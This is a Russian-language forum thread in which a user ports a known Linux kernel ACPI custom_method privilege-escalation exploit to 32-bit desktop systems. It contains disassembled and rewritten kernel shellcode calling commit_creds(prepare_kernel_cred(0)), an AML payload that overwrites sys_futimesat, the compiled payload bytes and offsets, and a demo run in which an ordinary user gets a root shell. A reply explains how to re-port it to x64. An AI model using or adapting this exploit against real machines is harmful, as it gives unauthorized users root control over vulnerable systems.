Старый 23.05.2011, 13:09   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
Post Портирование эксплойта ACPI custom_method.

Наткнулся недавно на упоминание декабрьского эксплойта Jon Oberheide.
В качестве челленджа задался идеей портировать этот эксплойт.

Первоначальный эксплойт работает только на ноутбуках (где есть LID ACPI девайс состояния крышки) и исключительно на 64-битных системах.

Задача: портировать эксплойт на 32-бита и обычный десктоп.


Описание бага

Т.к. подвержены ядра 2.6.33 <= x < 2.6.37-rc2, решил скачать Ubuntu 10.10 и не нашел там файла custom_method - не совершайте подобной ошибки
Поэтому зашел на securityfocus, где нашел указание о том, что уязвимой точно является OpenSUSE 11.3 (uname -an: 2.6.34-12-desktop #1 SMP PREEMPT 2010-06-29 02:39:08 +0200 i686 i686 i386 GNU/Linux). C ней и будем разбираться.

Сутью бага, если его так можно назвать, являются неправильно выставленные права на файл /sys/kernel/debug/acpi/custom_method. Этот файл появился в 2.6.33, коммит от программиста из Intel, его предназначением является возможность править таблицу ACPI вызовов для легкого дебага без перезагрузки.

В комментарии к эксплойту Jon Oberheide описывает эксплуатацию бага: доступ к custom_method позволяет записывать свои методы ACPI в таблицу ACPI в ядре. Поэтому мы скомпилируем наш хитрый метод, который будет срабатывать при опросе девайса LID (состояние крышки ноутбука - открыта/закрыта). Когда метод сработает, он запишет выбранный нами шеллкод по указанному адресу в ядре. В частности в эксплойте происходит запись кода повышения привилегий по адресу сисколла sys_futimesat.


Разбор эксплойта

Рассмотрим оригинальный эксплойт (функцию main()).

Код:
	char payload[PAYLOAD_LEN] = PAYLOAD_AML;
Объявляем payload - наш компилированный ACPI метод, который мы запишем в файл custom_method

Код:
	sys_futimesat = get_symbol("sys_futimesat");
	prepare_kernel_cred = get_symbol("prepare_kernel_cred");
	commit_creds = get_symbol("commit_creds");
Ищем экспортируемые символы. Последние 2 наводят на мысль, что будет использоваться работающий в ядрах >=2.6.29 commit_creds(prepare_kernel_cred(0)).

Код:
	ret = stat(CUSTOM_METHOD, &sb);
	if (!(sb.st_mode & S_IWOTH)) {
	...
	ret = stat(HEY_ITS_A_LID, &sb);
Проверяем, что файл custom_method доступен для записи, и что HEY_ITS_A_LID существует.

Код:
	sys_futimesat &= ~0xffffffff80000000;
	memcpy(&payload[63], &sys_futimesat, 4);
	memcpy(&payload[101], &commit_creds, 4);
	memcpy(&payload[108], &prepare_kernel_cred, 4);
Из адреса sys_futimesat получаем его смещение относительно начала зоны памяти ядра (kernel memory).
Записываем его, а также адреса commit_creds и prepare_kernel_cred в компилированный ACPI метод, чтобы эксплойт сработал на этой машине.

Код:
	fp = fopen(CUSTOM_METHOD, "w");
	fwrite(payload, 1, sizeof(payload), fp);
	...
	fp = fopen(HEY_ITS_A_LID, "r");
	fread(&buf, 1, sizeof(buf), fp);
Пишем payload с адресами текущей машины в custom_method, а затем открываем ACPI девайс (HEY_ITS_A_LID), для срабатывания записанного нами метода.
Код:
	ret = futimesat(0, "/tmp", NULL);
Вызываем syscall futimesat (по его адресу сейчас должен быть записан код для повышения наших привилегий).
После этого процесс эксплойта должен быть наделен рутовыми привилегиями, и можно запускать шелл.


Что потребуется для портирования? Во-первых, переписать payload для работы с другим ACPI девайсом (крышка ноута на десктопе отсутствует), во-вторых, шеллкод, содержащийся в payload, переделать под 32 бита.


Портируем

Для начала определимся, какой ACPI девайс мы будет использовать на нашей машине (и есть ли вообще что использовать)?

Цитата:
$ sudo su
# echo 0x1F >/sys/module/acpi/parameters/debug_layer
# echo 0x1F >/sys/module/acpi/parameters/debug_level
Повысим уровень дебага, чтобы видеть какие ACPI методы мы сможем вызвать.
Теперь сделаем вот так:
Код:
$ grep -R "blah-blah" /proc/acpi
$ dmesg|tail
[ 2094.580984] ACPI: Execute Method [\_SB_.ACAD._PSR] (Node d5196b08)
Удача! В /proc/acpi мы смогли чтением какого-то девайса вызвать срабатывание метода \_SB_.ACAD._PSR.
Значит рут на машине неизбежен

Последовательным чтением разных девайсов в /proc/acpi выясняем, что этот метод вызывается (и как мы можем видеть - появляется в логах) при чтении /proc/acpi/ac_adapter/ACAD/state
Поэтому в нашем эксплойте мы меняем
Код:
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"
На
Код:
#define HEY_ITS_A_LID "/proc/acpi/ac_adapter/ACAD/state"

Теперь будем разбираться с payload. Как пишет Jon Oberheide, исходный код ACPI метода, который мы запишем в таблицу ACPI выглядит так:

Код:
DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
  Method (\_SB.LID._LID, 0, NotSerialized) {
    OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
    Field(KMEM, AnyAcc, NoLock, Preserve) {
      HACK, 0x392
    }
    Store (Buffer () {
      0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
      0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
      0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
      0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
      0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
      0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
      0xc3 }, HACK)
    Return (One)
  }
}
Сразу видно, что вместо метода \_SB.LID._LID нужно поставить найденный нами \_SB.ACAD._PSR (см. чуть выше, по аналогии с оригиналом нужно убрать у "\_SB_" последнее подчеркивание).
Далее, OperationRegion определяется так: OperationRegion(Name, Space, Offset, Length). Таким образом, мы определяем регион работы метода как регион KMEM (зона памяти ядра) со смещением PHYADDR. Забегая вперед, скажу PHYADDR это смещение сисколла sys_futimesat. Т.е. мы будем работать с адресом KMEM+смещение_от_KMEM_до_sys_futimesat , что равно адресу sys_futimesat.
И затем выполняя Store() мы записываем по адресу sys_futimesat наш шеллкод.

Посмотрим, что делает шеллкод (не забываем, что он 64-битный).

Код:
$ perl -e 'print 
"\x55\x48\x89\xe5\x53\x48\x83\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3"' | ndisasm -b 64 -

00000000  55                push rbp
00000001  4889E5            mov rbp,rsp
00000004  53                push rbx
00000005  4883EC08          sub rsp,byte +0x8
00000009  48C7C324242424    mov rbx,dword 0x24242424
00000010  48C7C024242424    mov rax,dword 0x24242424
00000017  BF00000000        mov edi,0x0
0000001C  FFD0              call rax
0000001E  4889C7            mov rdi,rax
00000021  FFD3              call rbx
00000023  48C7C0B7FFFFFF    mov rax,dword 0xffffffb7
0000002A  4883C408          add rsp,byte +0x8
0000002E  5B                pop rbx
0000002F  C9                leave
00000030  C3                ret
Вспоминая строки
Код:
	memcpy(&payload[101], &commit_creds, 4);
	memcpy(&payload[108], &prepare_kernel_cred, 4);
можно сделать вывод, что вместо 0x24242424 будут адреса commit_creds и prepare_kernel_cred. Как видно, мы кладем ноль в $edi и вызываем сначала prepare_kernel_cred с предположительно нулем как аргумент в $edi, затем полученное в $rax кладем в $rdi и вызываем уже commit_creds. Очевидно, что это вызов commit_creds(prepare_kernel_cred(0)), который поднимет привилегии текущего процесса (для подробностей можно прочитать мой пост о task_struct).
Поскольку мы хотим заставить эксплойт работать на 32 битах, нам потребуется переписать этот шеллкод.

Для этого скомпилируем следующий файл и посмотрим как в ассемблере на 32 битах будет выглядеть функция с commit_creds(prepare_kernel_cred(0)):
Код:
$ cat > /tmp/creds.c
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int kernelmodecode()
{
        commit_creds(prepare_kernel_cred(0));
        return -1;
}
 
int main(int argc, char **argv)
{
unsigned long *ptr;
commit_creds = (_commit_creds) 0x24242424;
prepare_kernel_cred = (_prepare_kernel_cred) 0x25252525;
*ptr = (unsigned long)kernelmodecode;
return 0;
}

$ gcc /tmp/creds.c -o /tmp/creds; gdb /tmp/creds
(gdb) x/14i 0x80485d4
   0x80485d4 <kernelmodecode>:  	push   %ebp
   0x80485d5 <kernelmodecode+1>:        mov    %esp,%ebp
   0x80485d7 <kernelmodecode+3>:        push   %ebx
   0x80485d8 <kernelmodecode+4>:        sub    $0x4,%esp
   0x80485db <kernelmodecode+7>:        mov    0x804a038,%ebx
   0x80485e1 <kernelmodecode+13>:       mov    0x804a03c,%edx
   0x80485e7 <kernelmodecode+19>:       mov    $0x0,%eax
   0x80485ec <kernelmodecode+24>:       call   *%edx
   0x80485ee <kernelmodecode+26>:       call   *%ebx
   0x80485f0 <kernelmodecode+28>:       mov    $0xffffffff,%eax
   0x80485f5 <kernelmodecode+33>:       add    $0x4,%esp
   0x80485f8 <kernelmodecode+36>:       pop    %ebx
   0x80485f9 <kernelmodecode+37>:       pop    %ebp
   0x80485fa <kernelmodecode+38>:       ret
Полученное перепишем в intel-style ассемблер для nasm'a:
Код:
$ cat > 32sc.S
BITS 32

push ebp
mov ebp, esp
push ebx
sub esp, 0x4
mov ebx, 0x24242424
mov edx, 0x24242424
mov eax,0x0
call edx
call ebx
mov eax, 0xffffffff
add esp, 0x4
pop ebx
leave
ret
Проверяем:
Код:
$ nasm 32sc.S -o 32sc; ndisasm -u 32sc
00000000  55                push ebp
00000001  89E5              mov ebp,esp
00000003  53                push ebx
00000004  81EC04000000      sub esp,0x4
0000000A  BB24242424        mov ebx,0x24242424
0000000F  BA24242424        mov edx,0x24242424
00000014  B800000000        mov eax,0x0
00000019  FFD2              call edx
0000001B  FFD3              call ebx
0000001D  B8FFFFFFFF        mov eax,0xffffffff
00000022  81C404000000      add esp,0x4
00000028  5B                pop ebx
00000029  C9                leave
0000002A  C3                ret
Получили то же самое, что в оригинальном эксплойте, но для 32 бит.

Сделаем из этого файла шеллкод, переписав байты в подходящий вид:

Код:
$ ./make-shellcode.sh ./32sc
\x55\x89\xe5\x53\x81\xec\x04\x00\x00\x00\xbb\x24\x24\x24\x24\xba\x24\x24\x24\x24\xb8\x00\x00\x00\x00\xff\xd2\xff\xd3\xb8\xff\xff\xff\xff\x81\xc4\x04\x00\x00\x00\x5b\xc9\xc3
И сделав еще одно преобразование запишем их в наш ACPI метод в Store():

Код:
DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
  Method (\_SB.ACAD._PSR, 0, NotSerialized) {
    OperationRegion (KMEM, SystemMemory, 0x71717171, 0x392)
    Field(KMEM, AnyAcc, NoLock, Preserve) {
      HACK, 0x392
    }
    Store (Buffer () {
      0x55, 0x89, 0xe5, 0x53, 0x81, 0xec, 0x04, 0x00,
      0x00, 0x00, 0xbb, 0x24, 0x24, 0x24, 0x24, 0xba,
      0x24, 0x24, 0x24, 0x24, 0xb8, 0x00, 0x00, 0x00,
      0x00, 0xff, 0xd2, 0xff, 0xd3, 0xb8, 0xff, 0xff,
      0xff, 0xff, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00,
      0x5b, 0xc9, 0xc3 }, HACK)
    Return (One)
  }
}
Обратите внимание, что в качестве смещения в kernel memory я указал 0x71717171 - так будет проще найти его местоположение чуть позже.

Теперь скомпилируем ACPI метод в бинарный вид.

Код:
$ iasl lid.aml; ls -la lid.aml; ./make-shellcode.sh ./lid.aml
-rw-r--r--  1 synq users  138 2011-05-21 09:54 lid.aml
\x53\x53\x44\x54\x8a\x00\x00\x00\x02\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c\x04\x03\x10\x20\x14\x45\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x41\x43\x41\x44\x5f\x50\x53\x52\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\x80\xf4\x31\x00\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41\x43\x4b\x42\x39\x70\x11\x2e\x0a\x2b\x55\x89\xe5\x53\x81\xec\x04\x00\x00\x00\xbb\x24\x24\x24\x24\xba\x24\x24\x24\x24\xb8\x00\x00\x00\x00\xff\xd2\xff\xd3\xb8\xff\xff\xff\xff\x81\xc4\x04\x00\x00\x00\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01
Получили бинарный код ACPI метода и его размер - 138 байт.

Отразим их в эксплойте в #define PAYLOAD_AML и #define PAYLOAD_LEN 138

Осталось несколько штрихов. Т.к. адреса sys_futimesat, commit_creds и prepare_kernel_cred везде разные, нам нужно записать их в payload.

Код:
	sys_futimesat &= ~0xffffffff80000000;
	memcpy(&payload[63], &sys_futimesat, 4);
	memcpy(&payload[101], &commit_creds, 4);
	memcpy(&payload[108], &prepare_kernel_cred, 4);
В первой строчке находится смещение sys_futimesat относительно начала памяти ядра. Т.к. на 32-битных системах ядро начинается с адреса 0xc0000000, то меняем строку на sys_futimesat &= ~0xc0000000;
Далее, т.к. payload поменялась, нам нужно найти новые смещения, куда записывать эти 3 адреса.

Код:
$ hexdump -C -s 63 lid.aml | head -n1
0000003f  71 71 71 71 0b 92 03 5b  81 0c 4b 4d 45 4d 00 48  |..1....[..KMEM.H|
Смещение для sys_futimesat осталось старым - 63 (видим выбранный ранее 0x71717171).
Код:
$ hexdump -C -s 100 lid.aml | head -n1
00000064  24 24 24 24 ba 24 24 24  24 b8 00 00 00 00 ff d2  |$$$$.$$$$.......|
Смещения для commit_creds и prepare_kernel_cred поменялись - теперь они 100 и 105.

На этом всё. Готовый эксплойт в ветке с оригинальным: линк

Если на вашей машине вызывается другой метод (не \_SB.ACAD._PSR), то по этому посту, думаю, сможете легко модифицировать эксплойт.


Пример работы

OpenSUSE 11.3 x86:

Код:
synq@linux-3roh:~> uname -an
Linux linux-3roh 2.6.34-12-desktop #1 SMP PREEMPT 2010-06-29 02:39:08 +0200 i686 i686 i386 GNU/Linux
synq@linux-3roh:~> id
uid=1000(synq) gid=100(users) groups=100(users)
synq@linux-3roh:~> gcc russian-sign-language.c -o russian-sign-language
synq@linux-3roh:~> ./russian-sign-language 
[+] resolving required symbols...
[+] checking for world-writable custom_method...
[+] checking for an ACPI LID device...
[+] poisoning ACPI tables via custom_method...
[+] triggering ACPI payload via LID device...
[+] triggering exploit via futimesat...
[+] launching root shell!
linux-3roh:~> id
uid=0(root) gid=0(root)
linux-3roh:~> whoami
root
linux-3roh:~> ps aux|tail
synq     2658  0.0  4.2  64468 15916 ?        S    09:18   0:00 /usr/bin/kupdateapplet
synq     2660  0.0  0.6   5276  2456 pts/2    Ss   09:18   0:00 /bin/bash
synq     2662  0.0  0.6   5276  2396 pts/3    Ss+  09:18   0:00 /bin/bash
synq     2666  0.0  3.1  61308 11844 ?        S    09:18   0:00 /usr/lib/kde4/libexec/polkit-kde-authentication-agent-1
synq     2670  0.0  0.5   5276  2192 pts/4    Ss+  09:18   0:00 /bin/bash
synq     2676  0.0  0.6   5276  2436 pts/5    Ss+  09:18   0:00 /bin/bash
root      2702  0.0  1.0   7760  3756 ?        S    09:18   0:00 /usr/lib/polkit-1/polkitd
root      6843  0.2  0.5   5144  2192 pts/2    S    09:56   0:00 /bin/sh
root      6850  100  0.2   2848  1012 pts/2    R+   09:57   0:00 ps aux
root      6851  0.0  0.1   3368   460 pts/2    S+   09:57   0:00 tail

Last call for alcohol

BlackHat2007: John Heasman - Implementing and Detecting An ACPI BIOS
acpi_call LKM
SynQ вне форума   Ответить с цитированием
Старый 23.05.2011, 16:33   #2
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

а как его на x64 портировать ? просто сменить шеллкод на старый или что то еще нужно ?
euro вне форума   Ответить с цитированием
Старый 23.05.2011, 17:20   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
Сообщение от euro Посмотреть сообщение
а как его на x64 портировать ? просто сменить шеллкод на старый или что то еще нужно ?
Да, вставить шеллкод из оригинального эксплойта сюда в Store():
Код:
DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
  Method (\_SB.ACAD._PSR, 0, NotSerialized) {
    OperationRegion (KMEM, SystemMemory, 0x71717171, 0x392)
    Field(KMEM, AnyAcc, NoLock, Preserve) {
      HACK, 0x392
    }
    Store (Buffer () {
      0x55, 0x89, 0xe5, 0x53, 0x81, 0xec, 0x04, 0x00,
      0x00, 0x00, 0xbb, 0x24, 0x24, 0x24, 0x24, 0xba,
      0x24, 0x24, 0x24, 0x24, 0xb8, 0x00, 0x00, 0x00,
      0x00, 0xff, 0xd2, 0xff, 0xd3, 0xb8, 0xff, 0xff,
      0xff, 0xff, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00,
      0x5b, 0xc9, 0xc3 }, HACK)
    Return (One)
  }
}
Скомпилировать, перевести в хекс, вставить в эксплойт этот payload и его новую длину. И далее все по тексту, т.е найти новые смещения для commit_creds и prepare_kernel_cred и вернуть sys_futimesat &= ~0xffffffff80000000;
SynQ вне форума   Ответить с цитированием
Ответ

Метки
exploit, exploitdev

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot